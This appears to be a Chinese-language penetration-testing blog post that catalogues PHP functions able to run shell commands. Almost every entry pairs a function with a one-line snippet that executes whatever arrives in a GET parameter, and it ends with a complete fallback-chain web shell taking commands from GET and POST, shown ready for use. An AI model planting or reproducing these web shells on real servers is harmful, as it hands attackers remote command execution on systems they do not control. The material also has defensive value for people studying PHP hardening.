1. 程式人生 > 實用技巧 >PHP-命令執行

PHP-命令執行

1. 命令執行

1.1 程式執行函式

程式執行函式
這些函式和 執行運算子 是緊密關聯的。 因此,當執行在 安全模式 時,你必須考慮 safe_mode_exec_dir指示

exec

PHP 457
exec — 執行一個外部程式
exec ( string $command ) : string
返回命令執行結果的最後一行內容,實際不echo出來的話回顯為空

利用:

<?php echo exec($_GET["c"]);?>
?c=ls

https://www.php.net/manual/zh/function.exec.php

passthru

PHP 457
passthru — 執行外部程式並且顯示原始輸出
passthru ( string $command ) : void

利用:

<?php passthru($_GET['c']);?>
?c=ls

https://www.php.net/manual/zh/function.passthru.php

proc_open

PHP 457
proc_open — 執行一個命令,並且開啟用來輸入/輸出的檔案指標
proc_open ( string $cmd , array $descriptorspec , array &$pipes ) : resource

利用:

<?php
$command=$_GET['c'];
$descriptorspec = array(1 => array("pipe", "w"),);
$handle = proc_open($command,$descriptorspec,$pipes);
echo fread($pipes[1], 1024);

?c=ls

https://www.php.net/manual/zh/function.proc-open.php

shell_exec

PHP 457
shell_exec — 通過 shell 環境執行命令,並且將完整的輸出以字串的方式返回
shell_exec ( string $cmd ) : string

利用:

<?php echo shell_exec($_GET['c']);?>
?c=ls

https://www.php.net/manual/zh/function.shell-exec.php

執行運算子-反引號``

`command`

反引號中的內容作為 shell 命令執行,並返回輸出資訊
等同shell_exec()

,shell_exec()被禁則無效
需要echo回顯

<?php
$c=$_GET['c'];
echo `$c`;

?c=ls

反引號在雙引號字串中不起命令執行作用
https://www.php.net/manual/zh/language.operators.execution.php

system

PHP 457
system — 執行外部程式,並且顯示輸出
system ( string $command ) : string

利用:

<?php system($_GET["c"]);?>
?c=ls

https://www.php.net/manual/zh/function.system.php

1.2 檔案系統函式

popen

PHP 457
popen — 開啟程序檔案指標
popen ( string $command , string $mode ) : resource
開啟一個指向程序的管道,該程序由派生給定的 command 命令執行而產生。
返回一個和 fopen() 所返回的相同的檔案指標,只不過它是單向的(只能用於讀或寫)並且必須用 pclose() 來關閉。此指標可以用於 fgets(),fgetss() 和 fwrite()。 當模式為 'r',返回的檔案指標等於命令的 STDOUT。

利用

<?php
$handle = popen($_GET['c'],"r");
echo fread($handle,1024);

?c=ls

1.3 Output Control 函式

ob_start

基於其他命令執行函式使用

PHP 457<7.4
ob_start — 開啟輸出控制緩衝
ob_start ([ callback $output_callback ]) : bool
此函式將開啟輸出緩衝。當輸出緩衝啟用後,指令碼將不會輸出內容(除http標頭外),相反需要輸出的內容被儲存在內部緩衝區中。

利用:

<?php $cmd = 'system';ob_start($cmd);echo "$_GET[a]";ob_end_flush();?>
?a=whoami
只輸出命令執行結果的第一行

分析:
ob_start的$output_callback引數是函式型別
可選引數 output_callback 函式可以被指定。 此函式把一個字串當作引數並返回一個字串。 當輸出緩衝區被( ob_flush(), ob_clean() 或者相似的函式)沖刷(送出)或者被清洗的時候;或者在請求結束之際輸出緩衝區內容被沖刷到瀏覽器的時候該函式將會被呼叫。 當呼叫 output_callback 時,它將收到輸出緩衝區的內容作為引數並預期返回一個新的輸出緩衝區作為結果,這個新返回的輸出緩衝區內容將被送到瀏覽器

在上述利用中,output_callback的值為system,然後將引數a的內容whoami寫入了快取[輸出緩衝區],所以在flush時會呼叫system函式,或者不用flush,在指令碼結束時同樣也會呼叫system,快取中的內容whoami作為引數傳遞給了system,效果就是system("whoami"),然後再將執行結果輸出到瀏覽器中。

簡述就是:ob_start開啟緩衝區,後面的所有輸出echo都會存入緩衝區中,ob_end_flush結束緩衝區時,呼叫ob_start的引數system函式,並將緩衝區中的內容$_GET[a]作為引數傳遞給system函式

下面是關於php的output_buffering(ob)機制

php output_buffering
buffer是一個記憶體地址空間,Linux系統預設大小一般為4096(4kb),即一個記憶體頁。主要用於儲存速度不同步的裝置或者優先順序不同的裝置之間傳辦理資料的區域。通過buffer,可以使程序之間的相互等待變少。這裡說一個通俗一點的例子,你開啟文字編輯器編輯一個檔案的時候,你每輸入一個字元,作業系統並不會立即把這個字元直接寫入到磁碟,而是先寫入到buffer,當寫滿了一個buffer的時候,才會把buffer中的資料寫入磁碟,當然當呼叫核心函式flush()的時候,強制要求把buffer中的髒資料寫回磁碟。

同樣的道理,當php執行echo,print的時候,輸出並沒有立即通過tcp傳給客戶端瀏覽器顯示,而是將資料寫入php buffer。php output_buffering機制,意味在tcp buffer之前,建立了一新的佇列,資料必須經過該佇列。當一個php buffer寫滿的時候,指令碼程序會將php buffer中的輸出資料交給系統核心交由tcp傳給瀏覽器顯示。所以,資料會依次寫到這幾個地方echo/pring -> php buffer -> tcp buffer -> browser。

預設情況下,php buffer是開啟的,而且該buffer預設值是4096,即4kb。你可以通過在php.ini配置檔案中找到output_buffering配置。當echo,print等輸出使用者資料的時候,輸出資料都會寫入到php output_buffering中,直到output_buffering寫滿,會將這些資料通過tcp傳送給瀏覽器顯示。你也可以通過ob_start()手動啟用php output_buffering機制,使得即便輸出超過了4kb資料,也不真的把資料交給tcp傳給瀏覽器,因為ob_start()將php buffer空間設定到了足夠大。只有直到指令碼結束,或者呼叫ob_end_flush函式,才會把資料傳送給客戶端瀏覽器。

https://www.php.net/manual/zh/function.ob-start

1.4 PCNTL 函式

pcntl_exec

PHP 457
pcntl_exec — 在當前程序空間執行指定程式
pcntl_exec ( string $path [, array $args ] ) : void
以給定引數執行程式。
path必須是可執行二進位制檔案路徑或一個在檔案第一行指定了一個可執行檔案路徑標頭的指令碼(比如檔案第一行是#!/usr/bin 的sh指令碼)
args是一個要傳遞給程式的引數的字串陣列

利用

<?php $c=array('-al');pcntl_exec('/usr/bin/ls',$c);

2. 大一統

來自卿師傅
缺了extract和pcntl_exec

<?php
$command=$_GET['cmd'];
#function exec_all($command)
#{
    
//system函式可執行並直接顯示結果
if(function_exists('system'))
{
    echo "<pre>";
    system($command);
    echo "</pre>";
}
 
//passthru函式可執行並直接顯示結果
else if(function_exists('passthru'))
{
    echo "<pre>";
    passthru($command);
    echo "</pre>";
}
 
//shell_exec函式可執行但需要加echo才能顯示結果
else if(function_exists('shell_exec'))
{
    echo "<pre>";
    echo shell_exec($command);
    echo "</pre>";
}
 
//function exec(命令,以陣列形式的儲存結果,命令執行的狀態碼)
//可執行,但需要加echo才能顯示結果
else if(function_exists('exec'))
{  
    echo "<pre>";
    exec($command,$output);
    echo "</br>";
    print_r($output);
    echo "</pre>";
}
 
//popen函式:開啟一個指向程序的管道,該程序由派生指定的 command 命令執行而產生。
//返回一個和 fopen() 所返回的相同的檔案指標,只不過它是單向的(只能用於讀或寫)
//此指標可以用於 fgets(),fgetss() 和 fwrite()。並且必須用 pclose() 來關閉。
//若出錯,則返回 false。
else if(function_exists('popen'))
{
    $handle = popen($command , "r"); // Open the command pipe for reading
    if(is_resource($handle))
    {
        if(function_exists('fread') && function_exists('feof'))
        {
            echo "<pre>";
            while(!feof($handle))
            {
                echo fread($handle, 1024);        
            }
            echo "</pre>";
        }
        else if(function_exists('fgets') && function_exists('feof'))
        {
            echo "<pre>";
            while(!feof($handle))
            {       
                echo fgets($handle,1024);
            }
            echo "<pre>";
        }
    }
    pclose($handle);
}
 
//proc_open — 執行一個命令,並且開啟用來輸入/輸出的檔案指標。
else if(function_exists('proc_open'))
{
    $descriptorspec = array(
            1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
            );
    $handle = proc_open($command ,$descriptorspec , $pipes); // This will return the output to an array 'pipes'
    if(is_resource($handle))
    {
        if(function_exists('fread') && function_exists('feof'))
        {
            echo "<pre>";
            while(!feof($pipes[1]))
            {
                echo fread($pipes[1], 1024);        
            }
            echo "</pre>";
        }
        else if(function_exists('fgets') && function_exists('feof'))
        {
            echo "<pre>";
            while(!feof($pipes[1]))
            {       
                echo fgets($pipes[1],1024);
            }
            echo "<pre>";
        }
    }
    #pclose($handle);
}
 
else
{
    echo 'GG';
}
<?php
$cmd=$_POST['cmd'];
echo "<pre>";
 
//可執行並直接顯示結果,反引號,波浪鍵。
//shell_exec() 函式實際上僅是反撇號 (`) 操作符的變體
//所以如果把shell_exec()函式禁用了,反撇號 (`)也是執行不了命令的。
echo `$cmd`;
 
 
//注意,這個只顯示結果的第一行,因此基本只能執行whoami
//ob_start:開啟緩衝區,需要system函式開啟
$a = 'system';
ob_start($a);
echo "$_POST[cmd]";
ob_end_flush();
 
echo "</pre>";

3. 參考

https://www.cnblogs.com/-qing-/p/10819069.html
https://www.php.net/manual/zh/